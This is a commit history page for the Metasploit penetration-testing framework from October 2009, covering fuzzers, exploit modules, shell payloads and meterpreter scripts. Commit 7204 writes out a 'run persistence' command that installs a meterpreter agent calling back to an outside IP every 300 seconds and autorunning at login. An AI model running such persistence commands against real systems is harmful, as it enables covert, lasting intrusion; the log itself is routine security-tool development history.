Commit Graph

4634 Commits (3628a3d3c61ff92f6cde4b6da62ce8cb9e831f82)

Author SHA1 Message Date
HD Moore b38a74c961 Another mega-patch from Yoann Guillot: fixes warnings generated by method calls with a space betwee the method and the parans, corrects a problem with the alpha encoders that causes them to overwrite the allowed charset, hardcodes the metasm output size of some modules in order to reduce load time, more to come
git-svn-id: file:///home/svn/framework3/trunk@7246 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 16:40:19 +00:00
HD Moore 1af9353ecb Remove the duplicate module
git-svn-id: file:///home/svn/framework3/trunk@7245 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 05:08:23 +00:00
HD Moore c138724b06 Various SMB fuzzers to demonstrate the new fuzzing api
git-svn-id: file:///home/svn/framework3/trunk@7244 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 05:05:54 +00:00
HD Moore c4e8c52585 Import some basic ssh fuzzers and a smb fuzzer that can trigger the smb2 negotiate bug
git-svn-id: file:///home/svn/framework3/trunk@7243 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 03:25:15 +00:00
HD Moore b03ecfcaff Demonstrate the fuzz_string_corrupt_byte_reverse() method
git-svn-id: file:///home/svn/framework3/trunk@7242 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 01:51:15 +00:00
HD Moore cae0d61491 Adds a basic fuzzing mixin, as well as a TDS username fuzzer to demonstrate usage
git-svn-id: file:///home/svn/framework3/trunk@7241 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 01:40:27 +00:00
HD Moore acf1b2eda7 Relocate the wifi fuzzer modules to a new directory
git-svn-id: file:///home/svn/framework3/trunk@7240 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 00:22:34 +00:00
HD Moore 1b46833d8a We waited long enough, but finally added a fuzzer category
git-svn-id: file:///home/svn/framework3/trunk@7239 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 00:21:46 +00:00
HD Moore 7433d180da Renaming wireless to wifi as appropriate. See #413
git-svn-id: file:///home/svn/framework3/trunk@7238 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 00:21:09 +00:00
HD Moore a0fbc2914f Remove the milw0rm references, as the links are no longer valid.
git-svn-id: file:///home/svn/framework3/trunk@7237 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-24 18:13:07 +00:00
HD Moore b53a596ff0 Merge in David Kennedy's new MSSQL changes (centralized SQL query mixin)
git-svn-id: file:///home/svn/framework3/trunk@7236 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 19:15:32 +00:00
HD Moore 255379c2d0 Fixes #378. Still need to reorganize the modules and fix the lorcon2 mixin for 1.9.1
git-svn-id: file:///home/svn/framework3/trunk@7235 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 15:59:13 +00:00
HD Moore 9fda642939 Prevent the packet loop from blocking ruby
git-svn-id: file:///home/svn/framework3/trunk@7234 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 15:58:09 +00:00
HD Moore 070f85d6b5 Adds Lorcon::Device.write() for compatibility with Lorcon1
git-svn-id: file:///home/svn/framework3/trunk@7233 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 14:40:47 +00:00
HD Moore 07653cb452 Fix a typo for 1.9.1 support
git-svn-id: file:///home/svn/framework3/trunk@7232 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 13:58:21 +00:00
HD Moore 186be3cefe Removing the old name
git-svn-id: file:///home/svn/framework3/trunk@7231 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 05:39:11 +00:00
HD Moore 5417926638 Update the prefix script's name
git-svn-id: file:///home/svn/framework3/trunk@7230 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 05:38:26 +00:00
HD Moore a6c738a89f Add Milo's prefetch meterpreter script, see http://milo2012.wordpress.com/2009/10/22/meterpreter-script-for-prefetch-tool/
git-svn-id: file:///home/svn/framework3/trunk@7229 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 05:25:20 +00:00
HD Moore 1acf372dce Roll Lorcon2 into the metasploit tree, still testing the modules. See #378
git-svn-id: file:///home/svn/framework3/trunk@7228 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 04:32:26 +00:00
HD Moore 21de84f6ad Adds ruby-lorcon2 to the tree, (from lorcon2 trunk). Still some bugs to go, see #378
git-svn-id: file:///home/svn/framework3/trunk@7227 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-22 15:46:01 +00:00
Carlos Perez b87fa8f63f Updated Module info
git-svn-id: file:///home/svn/framework3/trunk@7226 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-22 03:01:34 +00:00
Carlos Perez e4109d8670 Added support for MS SQL 2000
git-svn-id: file:///home/svn/framework3/trunk@7225 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-22 02:56:43 +00:00
cg 2f09fc0c5d update login_brue description
git-svn-id: file:///home/svn/framework3/trunk@7224 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-21 23:41:36 +00:00
cg d565fef520 support for McKesson Horizon Clinical Infrastructure Oracle passwords for oracle login_brute http://seclists.org/fulldisclosure/2009/Oct/261
git-svn-id: file:///home/svn/framework3/trunk@7223 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-21 23:32:44 +00:00
HD Moore e07bce0101 Copyright updates reflecting the news
git-svn-id: file:///home/svn/framework3/trunk@7222 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-21 12:58:56 +00:00
HD Moore 51ad52d63a Moving towards beta
git-svn-id: file:///home/svn/framework3/trunk@7221 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-21 02:36:02 +00:00
Stephen Fewer 995745d642 Commit a jsp bind shell payload (and add a missing require to the jsp reverse shell).
git-svn-id: file:///home/svn/framework3/trunk@7220 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 23:11:28 +00:00
HD Moore a3c9c5d669 Fixes a compile error that only flagged on ruby 1.8
git-svn-id: file:///home/svn/framework3/trunk@7219 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 22:42:44 +00:00
HD Moore 0fff5e5bc8 Fix msfencode -l, thanks _sinn3r
git-svn-id: file:///home/svn/framework3/trunk@7218 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 21:58:08 +00:00
HD Moore 00b2915554 Fixes #342. Set ReverseConnectRetries to a value between 1 and 255 (default is 5). On failure it will ExitProcess (still better than a cpu spin)
git-svn-id: file:///home/svn/framework3/trunk@7217 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 20:31:14 +00:00
HD Moore 4b64e01596 Fix the payload name
git-svn-id: file:///home/svn/framework3/trunk@7216 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 19:44:53 +00:00
HD Moore fdda743d71 Add the metsvc script
git-svn-id: file:///home/svn/framework3/trunk@7215 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 19:36:19 +00:00
HD Moore 8325b46694 Add Alexander Sotirov's metsvc binaries to the metepreter data directory
git-svn-id: file:///home/svn/framework3/trunk@7214 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 18:43:27 +00:00
HD Moore 62b06f5e16 Add Alexander Sotirov's metsvc to svn
git-svn-id: file:///home/svn/framework3/trunk@7213 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 18:42:47 +00:00
kris 5c9b823c8b output typos, etc
git-svn-id: file:///home/svn/framework3/trunk@7212 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 17:49:10 +00:00
kris b75ef037c3 more tabs vs spaces, and fix a few mismatched indentation levels (def/end, etc)
git-svn-id: file:///home/svn/framework3/trunk@7211 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 17:24:33 +00:00
Mario Ceballos 2b85ceb4c1 added exploit modules base_qry_common.rb and mambo_cache_lite.rb
git-svn-id: file:///home/svn/framework3/trunk@7210 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 15:01:10 +00:00
Mario Ceballos fa14f1c50c added meterpreter script for CVE-2007-0161 (hp pml driver)
git-svn-id: file:///home/svn/framework3/trunk@7209 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 19:05:37 +00:00
Mario Ceballos bac233108f added exploit modules ms_visual_studio_msmask.rb and ms_visual_basic_vbp.rb
git-svn-id: file:///home/svn/framework3/trunk@7208 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 12:58:03 +00:00
HD Moore 03b753fd12 Fixes #360. Report each path individually
git-svn-id: file:///home/svn/framework3/trunk@7207 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 10:55:11 +00:00
HD Moore a73df955a3 Move the email collector into the gather directory
git-svn-id: file:///home/svn/framework3/trunk@7206 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 04:59:55 +00:00
HD Moore 9004887009 Three new modules from Carlos Perez
git-svn-id: file:///home/svn/framework3/trunk@7205 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 04:58:50 +00:00
HD Moore 15e39e95db Fixes #386. Adds a persistent VBS payload option (keep running the payload in a loop) via the loop-vbs type in msfencode. Adds a 'persistence' script to allow easy persistent meterpeter agent deployment. "run persistence -h" for help. Sample command line:
meterpreter> run persistence -r 1.2.3.4 -p 443 -A -X -i 300

This would install a meterpreter agent that would try to connect to 1.2.3.4:443 once every 300 seconds. This would also start a multi/handler in the background (-A) and make this autorun when any user logs in (-X). In most scenarios, this works just fine:

meterpreter> run persistence -A

This uses your default IP and the default port and immediates handles the next connection, but doesnt install via the registry.



git-svn-id: file:///home/svn/framework3/trunk@7204 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 02:42:39 +00:00
et 5524e9aae2 Fixed #370. Test if uploaded file exists
git-svn-id: file:///home/svn/framework3/trunk@7203 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 00:02:54 +00:00
et 6ce7011cba Fixed #369. Added RHOST info and second round to determine error page
git-svn-id: file:///home/svn/framework3/trunk@7202 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 23:26:58 +00:00
HD Moore df414a4904 Add the 'sa' with blank password CVE and vulnerability references, since the default configuratino of the MSSQL mixin exploits just that.
git-svn-id: file:///home/svn/framework3/trunk@7201 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 22:05:19 +00:00
et e0aa89121e First attempt for MITM proxy for multiple purposes including Wmap.
git-svn-id: file:///home/svn/framework3/trunk@7200 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 22:04:07 +00:00
HD Moore 45280f85a5 Fix a looping issue with the new lyris module
git-svn-id: file:///home/svn/framework3/trunk@7199 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 21:51:45 +00:00
HD Moore 36fee594ba Adds coverage for the old Lyris ListManager predictable sa password flaw
git-svn-id: file:///home/svn/framework3/trunk@7198 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 21:46:29 +00:00
kris 9ce45face4 add advanced option for setting ipid sample size
git-svn-id: file:///home/svn/framework3/trunk@7197 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 21:22:55 +00:00